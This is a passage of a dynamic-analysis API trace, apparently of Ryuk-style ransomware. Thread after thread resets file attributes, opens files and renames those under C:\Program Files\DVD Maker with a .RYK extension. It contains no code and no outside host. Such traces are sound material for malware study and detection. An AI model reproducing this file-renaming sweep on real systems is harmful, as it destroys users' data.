	[0188.042] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport_PAL.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_pal.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1026
	os_tid = 0x15d8

	[0187.565] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\play-background.png", dwFileAttributes=0x80) returned 0
	[0187.796] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\play-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\play-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0188.040] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0188.040] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\play-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\play-background.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\play-background.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\play-background.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1027
	os_tid = 0x15dc

	[0187.567] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\selection_subpicture.png", dwFileAttributes=0x80) returned 0
	[0187.797] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\selection_subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\selection_subpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0188.038] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0188.038] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\selection_subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\selection_subpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\selection_subpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\selection_subpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1028
	os_tid = 0x15e0

	[0187.568] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\travel.png", dwFileAttributes=0x80) returned 0
	[0187.798] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\travel.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travel.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0187.798] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0187.798] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\travel.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travel.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\travel.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travel.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1029
	os_tid = 0x15e4

	[0187.570] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain.wmv", dwFileAttributes=0x80) returned 0
	[0187.571] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0187.571] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0187.572] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1030
	os_tid = 0x15e8

	[0187.573] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask.wmv", dwFileAttributes=0x80) returned 0
	[0187.574] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0187.574] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0187.574] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1031
	os_tid = 0x15ec

	[0187.576] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask_PAL.wmv", dwFileAttributes=0x80) returned 0
	[0187.577] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0187.577] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0187.577] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask_PAL.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask_pal.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1032
	os_tid = 0x15f0

	[0187.800] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain_PAL.wmv", dwFileAttributes=0x80) returned 0
	[0188.172] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0188.183] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0188.183] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain_PAL.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain_pal.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1033
	os_tid = 0x15f8

	[0188.378] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\203x8subpicture.png", dwFileAttributes=0x80) returned 0
	[0188.379] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\203x8subpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0188.379] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0188.379] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\203x8subpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\203x8subpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\203x8subpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1034
	os_tid = 0x15fc

	[0188.422] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\videowall.png", dwFileAttributes=0x80) returned 0
	[0188.422] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\videowall.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\videowall.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0188.422] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0188.422] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\videowall.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\videowall.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\videowall.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\videowall.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1035
	os_tid = 0x1600

	[0188.424] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\1047x576black.png", dwFileAttributes=0x80) returned 0
	[0188.425] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0188.425] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0188.425] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\1047x576black.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\1047x576black.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\1047x576black.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1036
	os_tid = 0x1604

	[0188.427] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\15x15dot.png", dwFileAttributes=0x80) returned 0
	[0188.427] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0188.428] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0188.428] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\15x15dot.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\15x15dot.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\15x15dot.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1037
	os_tid = 0x1608

	[0188.430] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0188.430] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0188.431] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0188.431] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1038
	os_tid = 0x160c

	[0188.433] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0188.434] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0188.434] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0188.434] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1039
	os_tid = 0x1610

	[0188.436] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0188.436] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0188.437] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0188.437] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1040
	os_tid = 0x1614

	[0188.613] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0188.618] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0188.630] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0188.630] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1041
	os_tid = 0x161c

	[0188.638] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0188.644] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0188.655] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0188.655] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1042
	os_tid = 0x1620

	[0188.662] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0188.669] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0188.679] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0188.679] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1043
	os_tid = 0x1624

	[0188.686] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\softedges.png", dwFileAttributes=0x80) returned 0
	[0188.692] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\softedges.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\softedges.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0188.703] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0188.704] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\softedges.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\softedges.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\softedges.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\softedges.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1044
	os_tid = 0x1628

	[0188.711] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\vignettemask25.png", dwFileAttributes=0x80) returned 0
	[0188.717] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\vignettemask25.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\vignettemask25.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0188.729] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0188.729] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\vignettemask25.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\vignettemask25.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\vignettemask25.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\vignettemask25.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1045
	os_tid = 0x162c

	[0188.737] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\whiteband.png", dwFileAttributes=0x80) returned 0
	[0188.742] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\whiteband.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\whiteband.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0188.755] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0188.755] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\whiteband.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\whiteband.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\whiteband.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\whiteband.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1046
	os_tid = 0x1630

	[0189.301] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\WhiteDot.png", dwFileAttributes=0x80) returned 0
	[0189.302] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\WhiteDot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\whitedot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0189.302] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0189.302] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\WhiteDot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\whitedot.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\WhiteDot.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\whitedot.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1048
	os_tid = 0x163c

	[0189.304] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\Filters.xml", dwFileAttributes=0x80) returned 0
	[0189.304] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\Filters.xml" (normalized: "c:\\program files\\dvd maker\\shared\\filters.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0189.304] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0189.304] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\Filters.xml" (normalized: "c:\\program files\\dvd maker\\shared\\filters.xml"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\Filters.xml.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\filters.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1049
	os_tid = 0x1640

	[0189.306] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\Parity.fx", dwFileAttributes=0x80) returned 0
	[0189.306] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\Parity.fx" (normalized: "c:\\program files\\dvd maker\\shared\\parity.fx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0189.307] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0189.307] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\Parity.fx" (normalized: "c:\\program files\\dvd maker\\shared\\parity.fx"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\Parity.fx.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\parity.fx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1050
	os_tid = 0x1644

	[0189.309] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\soniccolorconverter.ax", dwFileAttributes=0x80) returned 0
	[0189.309] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\soniccolorconverter.ax" (normalized: "c:\\program files\\dvd maker\\soniccolorconverter.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0189.309] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0189.309] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\soniccolorconverter.ax" (normalized: "c:\\program files\\dvd maker\\soniccolorconverter.ax"), lpNewFileName="C:\\Program Files\\DVD Maker\\soniccolorconverter.ax.RYK" (normalized: "c:\\program files\\dvd maker\\soniccolorconverter.ax.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1051
	os_tid = 0x1648

	[0189.311] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\sonicsptransform.ax", dwFileAttributes=0x80) returned 0
